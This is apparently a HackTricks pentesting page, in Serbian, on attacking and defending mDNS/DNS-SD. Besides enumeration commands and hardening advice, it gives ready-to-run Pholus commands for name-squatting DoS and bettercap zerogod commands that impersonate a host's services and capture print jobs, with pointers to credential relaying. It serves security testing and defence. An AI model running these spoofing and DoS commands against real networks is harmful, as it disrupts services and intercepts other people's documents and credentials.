5353/UDP Multicast DNS (mDNS) i DNS-SD

Reading time: 7 minutes

tip

Učite i vežbajte AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Učite i vežbajte GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Učite i vežbajte Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Podržite HackTricks

Osnovne informacije

Multicast DNS (mDNS) omogućava rezoluciju imena sličnu DNS-u i otkrivanje usluga unutar lokalne veze bez unicast DNS servera. Koristi UDP/5353 i multicast adrese 224.0.0.251 (IPv4) i FF02::FB (IPv6). DNS Service Discovery (DNS-SD, obično korišćen sa mDNS) pruža standardizovani način za enumeraciju i opisivanje usluga putem PTR, SRV i TXT zapisa.

PORT     STATE SERVICE
5353/udp open  zeroconf

Ključni detalji protokola koje ćete često koristiti tokom napada:

  • Imena u .local zoni se rešavaju putem mDNS.
  • QU (Query Unicast) bit može zahtevati unicast odgovore čak i za multicast pitanja.
  • Implementacije bi trebale ignorisati pakete koji nisu iz lokalne veze; neki stekovi ih i dalje prihvataju.
  • Istraživanje/oglašavanje nameće jedinstvena imena hostova/usluga; ometanje ovde stvara DoS/“name squatting” uslove.

DNS-SD model usluga

Usluge se identifikuju kao _._tcp ili _._udp pod .local, npr. _ipp._tcp.local (štampači), _airplay._tcp.local (AirPlay), _adb._tcp.local (Android Debug Bridge), itd. Otkrijte tipove sa _services._dns-sd._udp.local, zatim rešite otkrivene instance na SRV/TXT/A/AAAA.

Istraživanje i enumeracija mreže

  • nmap skeniranje cilja (direktno mDNS na hostu):
bash
nmap -sU -p 5353 --script=dns-service-discovery <target>
  • nmap broadcast otkrivanje (slušanje segmenta i enumeracija svih DNS-SD tipova/instanci):
bash
sudo nmap --script=broadcast-dns-service-discovery
  • avahi-browse (Linux):
bash
# Lista tipova usluga
avahi-browse -bt _services._dns-sd._udp
# Pregled svih usluga i rešavanje na host/port
avahi-browse -art
  • Apple dns-sd (macOS):
bash
# Pregled svih HTTP usluga
dns-sd -B _http._tcp
# Enumeracija tipova usluga
dns-sd -B _services._dns-sd._udp
# Rešavanje specifične instance na SRV/TXT
dns-sd -L "My Printer" _ipp._tcp local
  • Snimanje paketa sa tshark:
bash
# Živo snimanje
sudo tshark -i <iface> -f "udp port 5353" -Y mdns
# Samo DNS-SD lista upita za usluge
sudo tshark -i <iface> -f "udp port 5353" -Y "dns.qry.name == \"_services._dns-sd._udp.local\""

Savjet: Neki pregledači/WebRTC koriste ephemerne mDNS hostnames za maskiranje lokalnih IP adresa. Ako vidite random-UUID.local kandidate na mreži, rešite ih sa mDNS da pređete na lokalne IP adrese.

Napadi

mDNS name probing ometanje (DoS / name squatting)

Tokom faze ispitivanja, host proverava jedinstvenost imena. Odgovaranje sa lažnim sukobima prisiljava ga da izabere nova imena ili da ne uspe. Ovo može odložiti ili sprečiti registraciju i otkrivanje usluga.

Primer sa Pholus:

bash
# Block new devices from taking names by auto-faking responses
sudo python3 pholus3.py <iface> -afre -stimeout 1000

Service spoofing and impersonation (MitM)

Imitirati oglašene DNS-SD usluge (štampače, AirPlay, HTTP, deljenje fajlova) kako biste primorali klijente da se povežu sa vama. Ovo je posebno korisno za:

  • Zapošljavanje dokumenata imitujući _ipp._tcp ili _printer._tcp.
  • Mamiti klijente ka HTTP/HTTPS uslugama kako biste prikupili tokene/kolačiće ili isporučili payload-e.
  • Kombinovati sa NTLM relays tehnikama kada Windows klijenti pregovaraju o autentifikaciji sa imitiranih usluga.

Sa bettercap-ovim zerogod modulom (mDNS/DNS-SD spoofer/imitator):

bash
# Start mDNS/DNS-SD discovery
sudo bettercap -iface <iface> -eval "zerogod.discovery on"

# Show all services seen from a host
> zerogod.show 192.168.1.42

# Impersonate all services of a target host automatically
> zerogod.impersonate 192.168.1.42

# Save IPP print jobs to disk while impersonating a printer
> set zerogod.ipp.save_path ~/.bettercap/zerogod/documents/
> zerogod.impersonate 192.168.1.42

# Replay previously captured services
> zerogod.save 192.168.1.42 target.yml
> zerogod.advertise target.yml

Takođe pogledajte generičke LLMNR/NBNS/mDNS/WPAD spoofing i radne tokove za hvatanje/ponovno korišćenje kredencijala:

Spoofing LLMNR, NBT-NS, mDNS/DNS and WPAD and Relay Attacks

Beleške o nedavnim problemima sa implementacijom (korisno za DoS/persistenciju tokom angažmana)

  • Avahi reachable-assertion i D-Bus greške (2023) mogu prekinuti avahi-daemon na Linux distribucijama (npr. CVE-2023-38469..38473, CVE-2023-1981), ometajući otkrivanje usluga na ciljnim hostovima do ponovnog pokretanja.
  • Cisco IOS XE Wireless LAN Controller mDNS gateway DoS (2024, CVE-2024-20303) omogućava susednim napadačima da izazovu visoku CPU i isključe AP-ove. Ako naiđete na mDNS gateway između VLAN-ova, budite svesni njegove stabilnosti pod neispravnim ili visokim brzinama mDNS.

Odbrambene razmatranja i OPSEC

  • Granice segmenta: Ne rutirajte 224.0.0.251/FF02::FB između bezbednosnih zona osim ako mDNS gateway nije izričito potreban. Ako morate da povežete otkrivanje, preferirajte allowlists i ograničenja brzine.
  • Windows krajnje tačke/serveri:
  • Da biste potpuno onemogućili razrešavanje imena putem mDNS, postavite vrednost registra i ponovo pokrenite:
HKLM\SYSTEM\CurrentControlSet\Services\Dnscache\Parameters\EnableMDNS = 0 (DWORD)
  • U upravljanim okruženjima, onemogućite ugrađeno pravilo “mDNS (UDP-In)” Windows Defender Firewall-a (barem na domen profilu) kako biste sprečili ulazno mDNS procesiranje dok čuvate funkcionalnost kod kuće/roaming.
  • Na novijim Windows 11 verzijama/GPO šablonima, koristite politiku “Computer Configuration > Administrative Templates > Network > DNS Client > Configure multicast DNS (mDNS) protocol” i postavite je na Onemogućeno.
  • Linux (Avahi):
  • Ograničite objavljivanje kada nije potrebno: postavite disable-publishing=yes, i ograničite interfejse sa allow-interfaces= / deny-interfaces= u /etc/avahi/avahi-daemon.conf.
  • Razmotrite check-response-ttl=yes i izbegavajte enable-reflector=yes osim ako nije strogo potrebno; preferirajte reflect-filters= allowlists kada reflektujete.
  • macOS: Ograničite ulazni mDNS na host/network firewall-ima kada Bonjour otkrivanje nije potrebno za specifične podmreže.
  • Monitoring: Upozorite na neobične poraste u _services._dns-sd._udp.local upitima ili iznenadne promene u SRV/TXT kritičnih usluga; ovo su indikatori spoofinga ili impersonacije usluga.

Brzi referentni vodič za alate

  • nmap NSE: dns-service-discovery i broadcast-dns-service-discovery.
  • Pholus: aktivno skeniranje, obrnuti mDNS pretraživanja, DoS i spoofing pomoćnici.
bash
# Pasivno osluškivanje (timeout sekunde)
sudo python3 pholus3.py <iface> -stimeout 60
# Nabrajanje tipova usluga
sudo python3 pholus3.py <iface> -sscan
# Slanje generičkih mDNS zahteva
sudo python3 pholus3.py <iface> --request
# Obrnuto mDNS pretraživanje podmreže
sudo python3 pholus3.py <iface> -rdns_scanning 192.168.2.0/24
  • bettercap zerogod: otkrivanje, čuvanje, oglašavanje i impersonacija mDNS/DNS-SD usluga (vidi primere iznad).

Spoofing/MitM

Najzanimljiviji napad koji možete izvesti preko ove usluge je da izvršite MitM u komunikaciji između klijenta i pravog servera. Možda ćete moći da dobijete osetljive datoteke (MitM komunikacija sa štampačem) ili čak kredencijale (Windows autentifikacija).
Za više informacija pogledajte:

Spoofing LLMNR, NBT-NS, mDNS/DNS and WPAD and Relay Attacks

Reference

tip

Učite i vežbajte AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Učite i vežbajte GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Učite i vežbajte Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Podržite HackTricks